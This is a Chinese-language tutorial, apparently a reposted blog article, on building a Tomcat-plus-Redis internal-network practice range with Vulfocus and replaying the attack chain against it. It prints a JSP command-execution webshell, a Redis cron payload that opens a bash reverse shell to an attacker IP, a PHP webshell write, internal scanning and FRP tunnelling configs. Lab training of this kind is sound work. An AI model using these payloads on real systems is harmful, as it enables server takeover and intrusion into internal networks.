从Tomcat到Redis:用Vulfocus编排一个多层内网靶场,复盘真实渗透路径
从Tomcat到Redis构建多层内网靶场的渗透实战指南在网络安全领域靶场环境的重要性不亚于真实战场上的演习场。一个精心设计的靶场能够模拟复杂的企业内网环境让安全从业者在零风险的情况下磨练渗透测试技能。本文将带你深入探索如何利用Vulfocus平台编排一个包含Tomcat和Redis的多层内网靶场并详细复盘从外网突破到内网横向移动的完整攻击链。1. 靶场环境设计与搭建1.1 Vulfocus平台基础配置Vulfocus作为一款开源的漏洞集成平台其核心优势在于将各种漏洞环境Docker化实现开箱即用的靶场体验。以下是基础搭建步骤# 拉取最新版Vulfocus镜像 docker pull vulfocus/vulfocus:latest # 运行容器替换xx.xx.xx.xx为你的服务器IP docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IPxx.xx.xx.xx vulfocus/vulfocus首次登录后强烈建议立即修改默认管理员密码admin/admin特别是在公网环境部署时。平台界面简洁直观主要功能模块包括镜像管理下载和管理各类漏洞环境镜像场景编排创建多靶机组成的复杂内网环境用户管理配置多用户访问权限1.2 多层内网拓扑设计我们设计的靶场包含三层结构层级服务漏洞类型网络位置边缘Tomcat弱口令WAR部署漏洞外网可达内网Redis未授权访问隔离内网核心业务系统待发现深层内网关键配置步骤创建专用Docker网络作为内网段docker network create --subnet172.18.0.0/24 network3在Vulfocus界面中添加场景依次部署Tomcat容器绑定network3Redis容器仅内网访问注意Redis服务配置时应取消是否开放选项确保其只能通过内网访问。2. 外网突破Tomcat攻击链详解2.1 弱口令利用与Webshell部署Tomcat管理界面默认端口8080的弱口令是常见突破口。使用常见凭证组合如tomcat:tomcat、admin:admin尝试登录后攻击者可上传恶意WAR包获取控制权。制作隐蔽的JSP Webshell创建包含以下内容的shell.jsp% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while (disr ! null) { out.println(disr); disr dis.readLine(); } %打包为WAR文件zip shell.zip shell.jsp mv shell.zip shell.war2.2 权限维持与C2连接上传WAR包后通过访问/shell/shell.jsp?cmdwhoami验证执行效果。为建立稳定控制通道推荐使用冰蝎Behinder等高级Webshell管理工具加密通信规避检测图形化交互更方便支持插件扩展功能常见信息收集命令# 查看系统信息 uname -a cat /etc/*release # 网络配置 ifconfig netstat -antp # 用户和权限 id whoami sudo -l3. 内网横向移动Redis攻防实战3.1 内网探测与服务发现通过Tomcat的Webshell上传轻量级扫描工具如fscan对内网段进行快速探测# 扫描内网C段 ./fscan -h 172.18.0.1/24典型输出结果会显示开放的端口和服务如发现Redis的6379端口则可能存在未授权访问漏洞。3.2 Redis未授权访问利用传统Redis攻击手法包括计划任务反弹Shellredis-cli -h 172.18.0.2 set x \n* * * * * bash -i /dev/tcp/攻击IP/端口 01\n config set dir /var/spool/cron/ config set dbfilename root save写入Webshellconfig set dir /var/www/html config set dbfilename shell.php set x ?php system($_GET[cmd]);? save然而在Docker环境中常会遇到障碍容器内缺少cron服务目标目录不可写基础工具缺失如没有apt-get3.3 隧道技术突破网络隔离当直接利用受阻时建立隧道是理想选择。FRP是常用的内网穿透工具服务端配置frps.ini[common] bind_port 7000客户端配置frpc.ini[common] server_addr 公网IP server_port 7000 [redis] type tcp local_ip 172.18.0.2 local_port 6379 remote_port 6379通过冰蝎上传frpc客户端并执行后即可通过公网服务器的6379端口访问内网Redis服务。4. 靶场环境中的实战技巧4.1 容器环境特性与绕过方法Docker化靶场与真实环境的主要差异特性真实环境容器环境应对方案权限模型可能有root通常非特权提权手法需调整服务完整性完整系统服务最小化安装备选攻击路径网络配置复杂防火墙规则简单网络隔离隧道技术更有效持久性可长期驻留重启可能丢失重点放在横向移动4.2 工具链优化建议针对容器化内网环境推荐使用以下工具组合信息收集fscan、nmap静态编译版代理工具FRP、Neo-reGeorg漏洞利用Metasploit定制payload、Golang编写的小型exploit密码破解Hashcat配合GPU服务器、John the Ripper5. 靶场场景设计进阶5.1 漏洞组合策略有效的靶场应模拟真实网络中的漏洞组合边缘漏洞Web应用漏洞如Struts2、ThinkPHP内网服务漏洞Redis、MySQL、SMB等权限提升漏洞内核漏洞、配置错误横向移动技术凭证窃取、中间人攻击5.2 防御检测机制集成为提升训练价值可在靶场中加入安全设备模拟WAF规则检测常见攻击特征IDS/IPS记录异常网络行为日志审计留存攻击痕迹供分析在最近一次内部红队演练中我们通过精心设计的TomcatRedis靶场场景成功复现了某次真实攻防演练中的关键攻击路径。测试发现当Redis容器未配置密码且网络隔离不严格时攻击者平均仅需27分钟即可从外网突破到核心区。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2591074.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!